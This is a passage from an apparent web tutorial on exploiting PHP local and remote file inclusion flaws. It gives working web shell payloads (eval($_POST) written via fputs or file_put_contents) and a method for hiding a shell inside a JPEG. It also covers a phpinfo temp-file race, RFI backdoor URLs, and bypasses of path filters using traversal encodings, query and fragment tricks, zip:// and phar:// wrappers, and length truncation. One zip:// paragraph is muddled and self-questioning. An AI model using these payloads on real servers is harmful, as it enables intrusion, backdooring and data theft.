&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foii3exscy8q4kjd2prke.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foii3exscy8q4kjd2prke.png" alt=" " width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then include &lt;code&gt;/proc/self/environ&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzl74csp73b09i6eczs8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzl74csp73b09i6eczs8.png" alt=" " width="482" height="148"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including fd (File Descriptors)
&lt;/h3&gt;

&lt;p&gt;File descriptors (fd) are non‑negative integers returned by the kernel when a file is opened. Default location: &lt;code&gt;/proc/self/fd/&lt;/code&gt; (Linux only). Similar to including &lt;code&gt;environ&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Same as including &lt;code&gt;environ&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including Uploaded Files
&lt;/h3&gt;

&lt;p&gt;Many websites offer file upload (e.g., avatars, documents). Upload a web shell disguised as an image.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; Know the uploaded file's path and name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Create an image‑based web shell. Two methods:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Using the command line: combine a legitimate image (&lt;code&gt;1.jpg&lt;/code&gt;) with a PHP file (&lt;code&gt;2.php&lt;/code&gt;) containing &lt;code&gt;fputs(fopen('hack.php','w'),'&amp;lt;?php @eval($_POST[v])?&amp;gt;');?&amp;gt;&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   copy 1.jpg/b+2.php 3.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Upload &lt;code&gt;3.jpg&lt;/code&gt; to the server (e.g., &lt;code&gt;/upload/202107.jpg&lt;/code&gt;). Then include it:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;   http://x.x.x.x/index.php?page=./upload/202107.jpg
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates &lt;code&gt;hack.php&lt;/code&gt; in the same directory as &lt;code&gt;index.php&lt;/code&gt;, which can be connected with a shell management tool.&lt;/p&gt;

&lt;p&gt;Command execution is also possible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including Temporary Files
&lt;/h3&gt;

&lt;p&gt;Principle diagram:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi60244uwiw0jcxr8l956.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi60244uwiw0jcxr8l956.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When PHP uploads a file, a temporary file is created (Linux: &lt;code&gt;/tmp/php[6 random chars]&lt;/code&gt;, Windows: &lt;code&gt;c:\windows\temp&lt;/code&gt;). Compete to include the temporary file before it is deleted.&lt;/p&gt;

&lt;p&gt;The temporary filename can be guessed (Linux randomness flaws; Windows only 65535 possibilities) or obtained from &lt;code&gt;phpinfo&lt;/code&gt; page (PHP variables expose the uploaded file's temporary path and name).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; &lt;code&gt;phpinfo&lt;/code&gt; page and file inclusion vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Principle:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;When sending a POST with a file block, PHP saves a temporary file (e.g., &lt;code&gt;/tmp/phpXXXXXX&lt;/code&gt;), deleted after request.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;phpinfo&lt;/code&gt; displays all variables, including &lt;code&gt;$_FILES&lt;/code&gt;, revealing the temporary filename.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Technique (Linux only):&lt;/strong&gt; Use the script from &lt;a href="https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py" rel="noopener noreferrer"&gt;vulhub/exp.py&lt;/a&gt;. It includes the temporary file, which contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nf"&gt;fileputcontents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/tmp/p'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?=eval($_REQUEST[1])?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Successful inclusion creates a permanent file &lt;code&gt;/tmp/p&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4y5wof8nqniwmrsd4oqe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4y5wof8nqniwmrsd4oqe.png" alt=" " width="800" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then include &lt;code&gt;/tmp/p&lt;/code&gt; to execute arbitrary commands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7b52at99u3o1w0jplwp3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7b52at99u3o1w0jplwp3.png" alt=" " width="800" height="132"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The script uses race conditions: send a large request to &lt;code&gt;phpinfo&lt;/code&gt;, fill with garbage to inflate the output buffer (default 4096 bytes). Read the socket in 4096‑byte chunks; as soon as the temporary filename is found, send the inclusion request before the first socket closes (so the temp file still exists).&lt;/p&gt;

&lt;h3&gt;
  
  
  Other Inclusion Techniques
&lt;/h3&gt;

&lt;p&gt;Web services may use other services (FTP, databases) that produce files. Specific analysis required (e.g., SMTP logs) – not covered here.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bypass Techniques
&lt;/h2&gt;

&lt;p&gt;In real scenarios, inclusion is rarely as simple as &lt;code&gt;include $_GET['file'];&lt;/code&gt;. Often, prefixes and suffixes are added. Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html/'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/test/test.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Bypassing a Fixed Prefix
&lt;/h3&gt;

&lt;p&gt;Test code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html/'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Note: On Windows, backslashes in the prefix may cause issues; use forward slashes for directory traversal.)&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution: Directory Traversal
&lt;/h4&gt;

&lt;p&gt;If &lt;code&gt;/var/log/test.txt&lt;/code&gt; contains &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;, use &lt;code&gt;../&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;include.php?file&lt;span class="o"&gt;=&lt;/span&gt;../../log/test.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server concatenates to &lt;code&gt;/var/www/html/../../log/test.txt&lt;/code&gt; → &lt;code&gt;/var/log/test.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flgx7pvcsh0eeu0waxok6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flgx7pvcsh0eeu0waxok6.png" alt=" " width="798" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution: Encoding Bypass
&lt;/h4&gt;

&lt;p&gt;Servers often filter &lt;code&gt;../&lt;/code&gt;. Encodings can bypass:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. URL encoding&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;../&lt;/code&gt; → &lt;code&gt;%2e%2e%2f&lt;/code&gt;, &lt;code&gt;..%2f&lt;/code&gt;, &lt;code&gt;%2e%2e/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;..\&lt;/code&gt; → &lt;code&gt;%2e%2e%5c&lt;/code&gt;, &lt;code&gt;..%5c&lt;/code&gt;, &lt;code&gt;%2e%2e\&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Double encoding&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;../&lt;/code&gt; → &lt;code&gt;%252e%252e%252f&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;..\&lt;/code&gt; → &lt;code&gt;%252e%252e%255c&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Container/server‑specific encoding&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;..%c0%af&lt;/code&gt; (see &lt;a href="https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work" rel="noopener noreferrer"&gt;Why does Directory traversal attack %C0%AF work?&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;%c0%ae%c0%ae/&lt;/code&gt; (Java: &lt;code&gt;%c0%ae&lt;/code&gt; → &lt;code&gt;\uC0AE&lt;/code&gt; → &lt;code&gt;.&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;..%c1%9c&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Bypassing a Fixed Suffix
&lt;/h3&gt;

&lt;p&gt;Test code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/test/test.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Solution: URL Query and Fragment
&lt;/h4&gt;

&lt;p&gt;URL format: &lt;code&gt;protocol://hostname[:port]/path[;parameters][?query]#fragment&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For RFI (&lt;code&gt;allow_url_fopen=On&lt;/code&gt;, &lt;code&gt;allow_url_include=On&lt;/code&gt;):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique 1: Query (&lt;code&gt;?&lt;/code&gt;)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;index.php?file&lt;span class="o"&gt;=&lt;/span&gt;http://remoteaddr/remoteinfo.txt?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Included file becomes &lt;code&gt;http://remoteaddr/remoteinfo.txt?/test/test.php&lt;/code&gt; – the suffix is treated as a query.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command execution / Trojan writing example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where &lt;code&gt;backdoor.php&lt;/code&gt; contains &lt;code&gt;&amp;lt;?php system('whoami'); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7impqvociy002tje8yy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7impqvociy002tje8yy.png" alt=" " width="799" height="184"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replace with a web‑shell writing payload to get a shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique 2: Fragment (&lt;code&gt;#&lt;/code&gt; or &lt;code&gt;%23&lt;/code&gt;)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nb"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;php&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="nv"&gt;remoteaddr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;remoteinfo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;txt&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Included file: &lt;code&gt;http://remoteaddr/remoteinfo.txt#/test/test.php&lt;/code&gt; – the suffix becomes a fragment. URL-encode &lt;code&gt;#&lt;/code&gt; as &lt;code&gt;%23&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command execution example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php%23
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Difference between Windows and Linux:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux works as above.&lt;/li&gt;
&lt;li&gt;On Windows, both &lt;code&gt;?&lt;/code&gt; and &lt;code&gt;#&lt;/code&gt; (even unencoded) work; no special encoding needed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwef59k8pmdosfr58zmug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwef59k8pmdosfr58zmug.png" alt=" " width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23qod72s857mq0p4f57t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23qod72s857mq0p4f57t.png" alt=" " width="799" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution: Using Pseudo‑Protocols
&lt;/h4&gt;

&lt;p&gt;Test code with suffix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/test/test.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Technique 1: &lt;code&gt;zip://&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Construct a ZIP archive (e.g., &lt;code&gt;J0.zip&lt;/code&gt;) containing a file &lt;code&gt;J0/test.php&lt;/code&gt; (since the suffix appends &lt;code&gt;/test/test.php&lt;/code&gt;, we want the inner file to be named appropriately). Let the inner file be &lt;code&gt;J0&lt;/code&gt;? Actually, the include is &lt;code&gt;$file . '/test/test.php'&lt;/code&gt;. If we set &lt;code&gt;$file&lt;/code&gt; to &lt;code&gt;zip://path/to/archive.zip#inner&lt;/code&gt;, then the full path becomes &lt;code&gt;zip://.../archive.zip#inner/test/test.php&lt;/code&gt;. So the inner file should be &lt;code&gt;inner/test/test.php&lt;/code&gt;? Let's follow the example: they created &lt;code&gt;J0.zip&lt;/code&gt; with a file &lt;code&gt;J0&lt;/code&gt; (no extension) containing &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;. Then they used &lt;code&gt;fileinclude2.php?file=zip://D:\phpStudy\PHPTutorial\WWW\J0.zip%23J0&lt;/code&gt;. The concatenated string becomes &lt;code&gt;zip://D:\phpStudy\PHPTutorial\WWW\J0.zip#J0/test/test.php&lt;/code&gt;. That works because the pseudo‑protocol treats everything after &lt;code&gt;#&lt;/code&gt; as the inner file path.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxobc11euk8b5auwk01mx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxobc11euk8b5auwk01mx.png" alt=" " width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Test content:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2h0anwy0qirt9np6ypdb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2h0anwy0qirt9np6ypdb.png" alt=" " width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique 2: &lt;code&gt;phar://&lt;/code&gt;&lt;/strong&gt; (requires PHP &amp;gt;= 5.3.4)&lt;/p&gt;

&lt;p&gt;Using the same ZIP archive. Absolute path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;fileinclude2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;phar&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//D:\phpStudy\PHPTutorial\WWW\J0.zip\J0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Concatenated: &lt;code&gt;phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0/test/test.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaeusq6rxw0wvynvd1jn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaeusq6rxw0wvynvd1jn.png" alt=" " width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Relative path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;fileinclude2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;phar&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//J0.zip\J0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbrlrholw3rn8efg0h4t8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbrlrholw3rn8efg0h4t8.png" alt=" " width="799" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; As with &lt;code&gt;zip://&lt;/code&gt; and &lt;code&gt;phar://&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution: Length Truncation
&lt;/h4&gt;

&lt;p&gt;PHP version &amp;lt; 5.2.8. Directory strings have maximum length (4096 bytes on Linux, 256 bytes on Windows). Repeating &lt;code&gt;./&lt;/code&gt; many times:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;index.php?file&lt;span class="o"&gt;=&lt;/span&gt;phpinfo.php././././... &lt;span class="o"&gt;(&lt;/span&gt;repeated&lt;span class="o"&gt;)&lt;/span&gt; ././
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the maximum is reached, the suffix &lt;code&gt;/test/test.php&lt;/code&gt; is discarded.&lt;/p&gt;

&lt;p&gt;Example on Windows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude2.php?file&lt;span class="o"&gt;=&lt;/span&gt;phpinfo.php/./././... &lt;span class="o"&gt;(&lt;/span&gt;many repetitions&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



